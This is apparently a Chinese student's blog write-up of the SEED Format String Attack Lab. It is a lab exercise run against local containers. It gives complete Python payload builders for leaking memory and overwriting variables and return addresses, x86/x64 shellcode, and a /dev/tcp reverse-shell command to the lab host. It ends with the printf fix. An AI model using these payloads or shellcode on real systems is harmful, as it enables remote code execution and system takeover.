SEED 2.0 Softwarelab4:Format String Attack Lab

Format String Attack Lab

1 Overview

C语言中的 printf() 函数用于根据格式打印字符串。它的第一个参数称为 format string ,它定义了字符串应该如何格式化。

格式字符串使用由 % 字符标记的占位符在 printf() 函数的打印期间填充数据。

格式字符串的使用不仅限于 printf() 函数,许多其他函数,如 sprintf()fprintf()scanf() ,也使用格式字符串。

有些程序允许用户以格式字符串的形式提供全部或部分内容。如果这些内容没有被清除,恶意用户可以利用这个机会让程序运行任意代码。

这样的问题称为 format string vulnerability (格式字符串漏洞)。

实验目的是让学生通过运用在课 堂上学到的关于格式字符串漏洞的知识实际操作,从而获得关于格式字符串漏洞的第一手经验。

学生将被给予一个具有格式字符串漏洞的程序,他们的任务是利用这个漏洞来实现以下破坏:

  1. 使程序崩溃

  2. 读取程序的内部内存

  3. 修改程序的内部内存

  4. 最严重的是,利用受害者程序的特权注入和执行恶意代码。

本实验涵盖以下主题:

  • Format string vulnerability, and code injection

  • Stack layout

  • Shellcode

  • Reverse shell

    Lab environment.

  • SEED Ubuntu 20.04版本

  • 也可以在云上创建 SEED VM 实验环境

Note for instructors.

教师可以通过选择L的值来自定义此实验。详细信息,请参见第2.2节。

根据学生的背景和为该实验室分配的时间,还可以在64位程序中进行攻击,因为它更具挑战性。

对32位程序的攻击足以涵盖格式字符串攻击的基础知识。

2 Environment Setup

2.1 Turning of Countermeasure

现代操作系统使用地址空间随机化来随机化堆和堆栈的起始地址。这使得猜测确切的地址困难,猜测地址是格式字符串攻击的关键步骤之一。要简化此实验中的任务,请使用以下命令关闭地址随机化:

1
sudo sysctl -w kernel.randomize_va_space=0

2.2 The Vulnerable Program

这个实验室中使用的易受攻击的程序叫做 format.c,可以在 server-code 文件夹中找到。

这个程序有一个格式字符串漏洞,我们的任务就是利用这个漏洞。

Compilation.

format.c 编译生成 64-bit 和 32-bit 程序。编译命令已经被包含在Makefile文件,我们只需要make执行就可以编译。

在编译完成后,使用make install将生成的二进制文件放在fmt-contains文件夹,以便让它们被容器使用。

1
2
3
make          # gcc 命令
make install # cp 命令
make clean # rm -f badfile server format-32 format-64

编译无视 gcc 给出的对于格式化字符串漏洞的警告。

1
2
3
4
# 一些gcc选项
-z execstack # 堆栈可执行,让我们的恶意代码可以执行
-static # 静态链接,32-bit动态链接库没有被安装在容器中
-m32 # 编译32-bit二进制程序选项

For instructors

更改Makefile 中的L可以改变BUF_SIZE的值。

The Server Program

server-code文件夹,您可以找到一个名为server.c的程序。这是服务器的主要入口点。它会倾听端口9090。

当它收到TCP连接时,它会调用format程序,并将TCP连接设置为format程序的标准输入。

这样,当格式读取来自stdin的数据时,它实际上从TCP连接读取,也就是说,数据由用户在TCP客户端上提供。

我们在服务器程序中添加了一点随机性,因此不同的学生可能会看到内存地址和帧指针的不同值。这些值仅在容器重新启动时更改,因此只要您保留容器运行,您将看到相同的数字(不同学生看到的数字仍然不同)。

这种随机性与地址随机化不同。它的唯一目的是让学生的任务有点不同。

2.3 Container Setup and Commands

依照Labsetup文件夹中的docker-compose.yml文件搭建实验环境。

1
2
3
4
5
dcbuild     # Alias for: docker-compose build
dcup # Alias for: docker-compose up
dcdown # Alias for: docker-compose down
dockps # Alias for: docker ps --format "{{.ID}} {{.Names}}"
docksh <id> # Alias for: docker exec -it <id> /bin/bas

3 Task 1: Crashing the Program

我们使用10.9.0.5服务器,它运行着一个32-bit的format程序。

服务器最多接受1500字节的数据,在这个任务中,我们需要通过构造payload作为输入让程序崩溃(此时服务器不会崩溃,因为format程序是server产生的一个子进程)

查看attack-code目录下的build_string.py文件,它展示了如何将各种类型的数据放入字符串中

  1. 尝试一次普通的输入
    image-20211201131716368
  2. 恶意输入,导致程序没有成功放回。
    image-20211201133231273

原理:我们的输入作为格式化字符串,那么%s代表字符串,函数执行时会寻找函数指针所指向函数参数值作为字符串地址,而现在这个值是不可读的,会造成段错误,程序崩溃。

4 Task 2: Printing Out the Server Program’s Memory

这个任务的目标是让服务器从它的内存中打印出一些数据(我们将继续使用10.9.0.5)

数据将在服务器端打印出来,因此攻击者无法看到它。

这不是一个有意义的攻击,但是在这个任务中使用的技术对于后续的任务是至关重要的

Task 2.A: Stack Data.

2.A目标是打印堆栈上的数据。

我们需要知道多少个 %.8x 格式说明符,才可以获得服务器程序打印出输入的前四个字节,为了更加明显我们设置一个比较特殊的值。

以此为例,说明我们是如何去寻找我们需要的地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/python3
import sys

# Initialize the content array
N = 1500
content = bytearray(0x0 for i in range(N))

# This line shows how to store a 4-byte integer at offset 0
number = 0xffffffff
content[0:4] = (number).to_bytes(4,byteorder='little')

# This line shows how to store a 4-byte string at offset 4
content[4:8] = ("abcd").encode('latin-1')

# This line shows how to construct a string s with
# 12 of "%.8x", concatenated with a "%n"
s = "%.8x."*100 # +"%s"

# The line shows how to store the string s at offset 8
fmt = (s).encode('latin-1')
content[8:8+len(fmt)] = fmt

# Write the content to badfile
with open('badfile', 'wb') as f:
f.write(content)

image-20211201154615942

我们可以看到,我们设置的0xfffffff位于64%.8x位置处,也就是说buffer的前四个字节在这个位置。

Task 2.B: Heap Data

堆区域中存有一个秘密消息(字符串),我们可以从服务器打印输出找到此字符串的地址。我们的任务是打印出此秘密信息。

从上图中,我们可以知道secret message's address0x080b4008,然后buffer前四个字节位于第64%.8x处。

所以构造payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/python3
import sys

# Initialize the content array
N = 1500
content = bytearray(0x0 for i in range(N))

# This line shows how to store a 4-byte integer at offset 0
number = 0x080b4008
content[0:4] = (number).to_bytes(4,byteorder='little')

# This line shows how to store a 4-byte string at offset 4
content[4:8] = ("abcd").encode('latin-1')

# This line shows how to construct a string s with
# 12 of "%.8x", concatenated with a "%n"
s = "%.8x"*63 +"%s"

# The line shows how to store the string s at offset 8
fmt = (s).encode('latin-1')
content[8:8+len(fmt)] = fmt

# Write the content to badfile
with open('badfile', 'wb') as f:
f.write(content)

image-20211201153850652

原理:设置buffer的前四个字节为隐藏字符串地址0x080b4008,然后我们通过%s输出位于堆上的隐藏字符串

5 Task 3: Modifying the Server Program’s Memory

这个任务的目标是修改服务器程序中定义的target变量的值(我们将继续使用10.9.0.5)。

target的原始值是0x11223344。假设该变量包含一个重要的值,该值可以影响程序的控制流。如果远程攻击者可以改变它的值,他们就可以改变这个程序的行为。

我们有三个子任务。

Task 3.A: Change the value to a different value.

在这个子任务中,我们需要将target变量的内容更改为其他内容。

如果您可以将任务更改为不同的值(不管它可能是什么值),那么您的任务将被视为成功。目标变量的地址可以从服务器打印输出中找到。

从以上图中,我们可以知道target变量的地址为0x080e5068,我们通过%n修改该地址的值,构造payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/python3
import sys

# Initialize the content array
N = 1500
content = bytearray(0x0 for i in range(N))

# This line shows how to store a 4-byte integer at offset 0
number = 0x080e5068
content[0:4] = (number).to_bytes(4,byteorder='little')

# This line shows how to store a 4-byte string at offset 4
content[4:8] = ("abcd").encode('latin-1')

# This line shows how to construct a string s with
# 12 of "%.8x", concatenated with a "%n"
s = "%.8x"*63 +"%n"

# The line shows how to store the string s at offset 8
fmt = (s).encode('latin-1')
content[8:8+len(fmt)] = fmt

# Write the content to badfile
with open('badfile', 'wb') as f:
f.write(content)

image-20211201160351368

这个值为什么被修改为0x200

我们需要了解%n的用法,它会修改对应参数地址四个字节的值,将它修改为在它之前规格字符串打印结果的字符串长度

所以在%n之前,我们先打印了4位宽的target变量的地址,然后打印了4位宽的abcd,再然后是"%.8x"*63也就是8位宽的二进制值打印了63次

所以最后$0x4+0x4+0x8\times63=0x200$,%n将它赋给target。

Task 3.B: Change the value to 0x5000

因为$0x5000-0x200=19968$,%n会计算之前的字符数,所以我们需要再多加19968个字符,同时需要注意的是,不能改变va_list指针指向的地址,也就是需要用%n修改的target变量的地址。

构造的payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/python3
import sys

# Initialize the content array
N = 1500
content = bytearray(0x0 for i in range(N))

# This line shows how to store a 4-byte integer at offset 0
number = 0x080e5068
content[0:4] = (number).to_bytes(4,byteorder='little')

# This line shows how to store a 4-byte string at offset 4
content[4:8] = ("abcd").encode('latin-1')

# This line shows how to construct a string s with
# 12 of "%.8x", concatenated with a "%n"
s = "%.8x"*62 + "%.19976x" +"%n"

# The line shows how to store the string s at offset 8
fmt = (s).encode('latin-1')
content[8:8+len(fmt)] = fmt

# Write the content to badfile
with open('badfile', 'wb') as f:
f.write(content)

我们将一个%.8x变成$19968+8=19976$个字符宽度的%.19976x,其实读的还是八个字符,但是宽度为19976的宽度,这样可以保证%n对应地址不变的情况下,改变target对应的值。

image-20211201163323178

Task 3.C: Change the value to 0xAABBCCDD.

这个不能直接修改整个target,因为要输出的字符太多了,电脑会卡而且耗时又长。

我们可以将target分成两个2字节部分去覆盖,payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/python3
import sys

# Initialize the content array
N = 1500
content = bytearray(0x0 for i in range(N))

number = 0x080e5068 # target地址(小端法,读两个字节就是0x5068)
number2 = number+2 # target前2个字节地址
content[0:4] = (number2).to_bytes(4,byteorder='little')
content[8:12] = (number).to_bytes(4,byteorder='little')

# This line shows how to store a 4-byte string at offset 4
content[4:8] = ("abcd").encode('latin-1')


# This line shows how to construct a string s with
# 12 of "%.8x", concatenated with a "%n"
s = "%.8x"*62 + "%.43191x" + "%hn" +"%.8738x" +"%hn"

# The line shows how to store the string s at offset 8
fmt = (s).encode('latin-1')
content[12:12+len(fmt)] = fmt

# Write the content to badfile
with open('badfile', 'wb') as f:
f.write(content)

因为增加了一个四位宽的地址,所以现在的输出字符宽度为$0x200+0x4=0x204$

$0xAABB-0x204=43191$,将一个%.8x变为%.43199x,将前2个字节设置为AABB

$0xCCDD-0xAABB=8738$,同时因为%hn不输出,所以再加上%.8738x,将后2个字节位设置为CCDD

image-20211201181512161

6 Task 4: Inject Malicious Code into the Server Program

现在,我们已经准备好开始攻击的核心——代码注入。

我们想要将一段恶意代码以二进制格式注入到服务器的内存中,然后使用格式字符串漏洞修改函数的返回地址字段,这样当函数返回时,它跳转到我们注入的代码。

此任务使用的技术与前一个任务相似:它们都修改内存中的4字节数。前一个任务修改目标变量,而这个任务修改函数的返回地址字段。

6.1 Understanding the Stack Layout

为了完成这项任务,当在 myprintf() 内部调用 printf() 函数时,有必要理解堆栈布局。

在完成这项任务之前,参照给出的栈帧,回答以下问题:

image-20211201185313210

Question 1: What are the memory addresses at the locations marked by 2 and 3?

3 是buf的地址,从服务器返回数据中,我们可以直接得到地址:0xffffd0d0

2 是myprintf()的返回地址,服务器返回数据中,myprintf()frame pointer0xffffd018,所以return address是:0xffffd018+4=0xffffd01c

Question 2: How many %x format specifiers do we need to move the format string argument pointer to 3? Remember, the argument pointer starts from the location above 1.

我们需要 64 个%x才能移动格式化字符串的参数指针到 3 ,也就是buf的地址。

6.2 Shellcode

shellcode 通常用于代码注入攻击。它是一个get shell的代码,通常用汇编语言编写。

32-bit 和64-bit 版本的shellcode都包含在attack-code目录中的exproit.py中。我们可以使用它们来构造格式字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# 32-bit Generic Shellcode 
shellcode_32 = (
"\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
"\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
"\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
"/bin/bash*"
"-c*"
# The * in this line serves as the position marker *
"/bin/ls -l; echo '===== Success! ======' *"
"AAAA" # Placeholder for argv[0] --> "/bin/bash"
"BBBB" # Placeholder for argv[1] --> "-c"
"CCCC" # Placeholder for argv[2] --> the command string
"DDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')


# 64-bit Generic Shellcode
shellcode_64 = (
"\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48"
"\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48"
"\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31"
"\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff"
"/bin/bash*"
"-c*"
# The * in this line serves as the position marker *
"/bin/ls -l; echo '===== Success! ======' *"
"AAAAAAAA" # Placeholder for argv[0] --> "/bin/bash"
"BBBBBBBB" # Placeholder for argv[1] --> "-c"
"CCCCCCCC" # Placeholder for argv[2] --> the command string
"DDDDDDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')

6.3 Your Task

注意:我这里的地址不同于前面回答中的地址,这是因为容器重启会随机改变地址,如果容器重启需要再次确认。

image-20211201200344749

我们的任务是构建badfile给服务器程序,让服务器执行shellcode。

payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/python3
import sys

# 32-bit Generic Shellcode
shellcode_32 = (
"\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
"\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
"\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
"/bin/bash*"
"-c*"
# The * in this line serves as the position marker *
"/bin/ls -l; echo '===== Success! ======' *"
"AAAA" # Placeholder for argv[0] --> "/bin/bash"
"BBBB" # Placeholder for argv[1] --> "-c"
"CCCC" # Placeholder for argv[2] --> the command string
"DDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')


# 64-bit Generic Shellcode
shellcode_64 = (
"\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48"
"\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48"
"\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31"
"\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff"
"/bin/bash*"
"-c*"
# The * in this line serves as the position marker *
"/bin/ls -l; echo '===== Success! ======' *"
"AAAAAAAA" # Placeholder for argv[0] --> "/bin/bash"
"BBBBBBBB" # Placeholder for argv[1] --> "-c"
"CCCCCCCC" # Placeholder for argv[2] --> the command string
"DDDDDDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')

N = 1500
# Fill the content with NOP's
content = bytearray(0x90 for i in range(N))

# Choose the shellcode version based on your target
shellcode = shellcode_32

# Put the shellcode somewhere in the payload
start = 1500-len(shellcode) # Change this number
content[start:start + len(shellcode)] = shellcode
print(start)
############################################################
# This line shows how to store a 4-byte integer at offset 0
number = 0xffffd35e
content[0:4] = (number).to_bytes(4,byteorder='little')
number2 = 0xffffd35c
content[8:12] = (number2).to_bytes(4,byteorder='little')

# This line shows how to store a 4-byte string at offset 4
content[4:8] = ("abcd").encode('latin-1')

# This line shows how to construct a string s with
# 12 of "%.8x", concatenated with a "%n"
s = "%.8x"*62 + "%.65027x" + "%hn" +"%.55685x" +"%hn"

# The line shows how to store the string s at offset 8
fmt = (s).encode('latin-1')
content[12:12+len(fmt)] = fmt
############################################################

# Save the format string to file
with open('badfile', 'wb') as f:
f.write(content)

需要注意的地方有:

  • myprintf()的返回地址:$0xffffd358+0x4=0xffffd35c$
  • 将shellcode放在数组最后,shellcode的起始地址为:$0xffffd430 + 1364=0xffffD984$,将返回地址修改为shellcode的起始地址
    • $0xffff-0x204=65019$,将%.8x变为%.65027x
    • $0x1D984-0xffff=55685$,添加%.55685x
    • 可以使用build_string.py文件来检测计算值
  • 执行"/bin/ls -l; echo '===== Success! ======' *"命令

image-20211201203616634

Getting a Reverse Shell.

为了创建反向shell,我们更改shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 32-bit Generic Shellcode 
shellcode_32 = (
"\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
"\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
"\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
"/bin/bash*"
"-c*"
# The * in this line serves as the position marker *
"/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 *"
"AAAA" # Placeholder for argv[0] --> "/bin/bash"
"BBBB" # Placeholder for argv[1] --> "-c"
"CCCC" # Placeholder for argv[2] --> the command string
"DDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')

成功得到root

image-20211201210231773

7 Task 5: Attacking the 64-bit Server Program

攻击10.9.0.6服务器的64-bit版本的format程序。

先发送一个hello给服务器,查看正常返回。

image-20211201210954291

可以看到帧指针和缓冲区地址的值长为8个字节(而不是32位程序中的4个字节)

我们的任务是构建payload以利用服务器的格式字符串漏洞,最终目标是在目标服务器上获取一个root shell。需要使用ShellCode的64位版本。

Challenges caused by 64-bit Address.

x64架构引起的一个挑战是地址中的零。虽然x64架构支持64位地址空间,但只允许从0x00到0x00007fffffffff的地址。

这意味着对于每个地址(8字节),最高的两个字节总是零。这就产生了一个问题

在这种攻击中,我们需要将地址放在格式字符串中。对于32位程序,我们可以把地址放在任何地方,因为地址里面没有零。我们不能再为64位程序这样做了。

如果在格式字符串中间放置一个地址,当printf()解析格式字符串时,当它看到一个零时,它将停止解析。格式字符串中第一个零之后的任何内容都不会被认为是格式字符串的一部分。

与缓冲区溢出攻击不同,在缓冲区溢出攻击中,如果使用strpcy(), 0将终止内存复制。

这里,程序中没有内存复制,所以我们可以在输入中有0,但将它们放在哪里是关键。

A userful technique: moving the argument pointer freely

在格式字符串中,我们可以使用%x将参数指针va_list移动到下一个可选参数。我们也可以直接将指针移动到第k个可选参数。

这是使用格式字符串的参数字段(以k$的形式)完成的。

下面的代码示例使用%3$.20x打印第三个可选参数的值3(前面填19个0),然后使用%6$n将一个值写入第6个可选参数(变量var,其值将变为20)。最后,使用%2$.10x时,它将指针移回第二个可选参数,并将其打印出来(2,前面填9个0)。

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
int main()
{
int var = 1000;
printf("%3$.20x%6$n%2$.10x\n", 1, 2, 3, 4, 5, &var);
printf("The value in var: %d\n",var);
return 0;
}
----- Output ------
seed@ubuntu:$ a.out
000000000000000000030000000002
The value in var: 20

可以看到,使用这个方法,我们可以自由地来回移动指针。这种技术对于简化该任务中格式字符串的构造非常有用。

过程

这个64位程序的攻击不同于32位,攻击的地址高位为0会被printf函数截断,所以只能将地址放在规格字符串最后,而且只能有一个地址会被printf函数解析。

并且有一个很重要的问题,因为之前的地址是放在content数组的首地址,所以,我们不用考虑对齐的问题,现在,地址放在字符串最末的位置,那么在地址之前的规格字符串都会影响地址的储存位置。

这个问题我们用说明书里给出的k$来解决,通过改变k的大小来改变va_list指针的指向,然后将地址放在content[320:328]的位置,固定间隔。

secret message的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/python3
import sys

# Initialize the content array
N = 1500
content = bytearray(0x90 for i in range(N))

s = "%38$.16lx\n" + "%38$s.\n" # "%6$#.8x" + "%s"
fmt = (s).encode('latin-1')

offset=32-len(fmt)
content[offset:offset+len(fmt)] = fmt

number = 0x0000555555556008
content[offset+len(fmt):offset+len(fmt)+8] = (number).to_bytes(8,byteorder='little')

# Write the content to badfile
with open('badfile', 'wb') as f:
f.write(content)

va_list第38个指向是secret的地址,然后%38$s输出地址存储的字符串。

image-20211202101105944

target 改变值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/python3
import sys

# Initialize the content array
N = 1500
content = bytearray(0x90 for i in range(N))

s = "%38$.16lx\n" + "%38$ln\n" # "%6$#.8x" + "%s"
fmt = (s).encode('latin-1')

offset=32-len(fmt)
content[offset:offset+len(fmt)] = fmt

number = 0x0000555555558010
content[offset+len(fmt):offset+len(fmt)+8] = (number).to_bytes(8,byteorder='little')

# Write the content to badfile
with open('badfile', 'wb') as f:
f.write(content)

%38$.16lx确认是否指向target地址

%38$ln修改target的值。

image-20211202101227236

修改返回地址执行shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/usr/bin/python3
import sys

# 32-bit Generic Shellcode
shellcode_32 = (
"\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
"\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
"\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
"/bin/bash*"
"-c*"
# The * in this line serves as the position marker *
"/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 *"
"AAAA" # Placeholder for argv[0] --> "/bin/bash"
"BBBB" # Placeholder for argv[1] --> "-c"
"CCCC" # Placeholder for argv[2] --> the command string
"DDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')


# 64-bit Generic Shellcode
shellcode_64 = (
"\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48"
"\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48"
"\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31"
"\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff"
"/bin/bash*"
"-c*"
# The * in this line serves as the position marker *
"/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 *"
"AAAAAAAA" # Placeholder for argv[0] --> "/bin/bash"
"BBBBBBBB" # Placeholder for argv[1] --> "-c"
"CCCCCCCC" # Placeholder for argv[2] --> the command string
"DDDDDDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')

N = 1500
# Fill the content with NOP's
content = bytearray(0x90 for i in range(N))

# Choose the shellcode version based on your target
shellcode = shellcode_64

# Put the shellcode somewhere in the payload
start = 8 # Change this number
content[start:start + len(shellcode)] = shellcode

############################################################
buffer = 0x00007fffffffe580 # buffer地址
ebp = 0x00007fffffffe5b0 # myprintf的ebp值
num1 = buffer & (0x000000000000ffff)
num2 = 0xffff
num3 = 0x7fff
num4 = 0x0000
# 可以直接修改buffer和ebp之后攻击,243是offset +1,后面 -2是因为前面有两个'\n'字符
s = "%74$."+ str(num1-243)+"lx\n" + "%74$hn\n" + "%75$."+ str(num2-num1-2)+ "x\n" + "%75$hn\n" +"%76$.32766lx\n" + "%76$hn\n" +"%77$.32767lx\n" + "%77$hn\n"
fmt = (s).encode('latin-1')
offset=320-len(fmt)
print(offset+1) # num1 - offset +1
content[offset:offset+len(fmt)] = fmt
# target地址0x0000555555558010,代替number查看修改的值,用来调试
number = ebp + 0x8
content[offset+len(fmt):offset+len(fmt)+8] = (number).to_bytes(8,byteorder='little')
number2 = number + 2
content[offset+len(fmt)+8:offset+len(fmt)+16] = (number2).to_bytes(8,byteorder='little')
number3 = number2 + 2
content[offset+len(fmt)+16:offset+len(fmt)+24] = (number3).to_bytes(8,byteorder='little')
number4 = number3 + 2
content[offset+len(fmt)+24:offset+len(fmt)+32] = (number4).to_bytes(8,byteorder='little')

############################################################

# Save the format string to file
with open('badfile', 'wb') as f:
f.write(content)

我这里是将shellcode放在最开始的位置,其实像32位一样放在后面也行,因为我之前理解错了,以为高位00会截断shellcode的接收。

将8字节的return address分割为4个2字节分别修改,值为shellcode的起始地址

因为服务器会完整地接收我们提供的1500个字节的输入,我们给出的4个地址其实也会保存在buffer栈中。

虽然printf函数面对00会停止解析,也就是va_list指针停止移动,但是我们还可以用k$去手动移动va_list指针,依次改变四个部分。

image-20211202153623852

创建反向shell

image-20211202153803684

8 Task 6: Fixing the Problem

还记得gcc编译器生成的警告消息吗?请解释一下它的意思。

image-20211202232000200

警告的意思是:将一个非常量作为format string,且没有格式化参数。

请修复服务器程序中的漏洞,并重新编译。

要解决这个warning,要将printf(msg) 改成 printf("%s", msg)

image-20211202232134575

编译器警告消失

尝试更改32位程序的target值,更改失败

image-20211202233009036

  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.
  • Copyrights © 2021 Sung
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信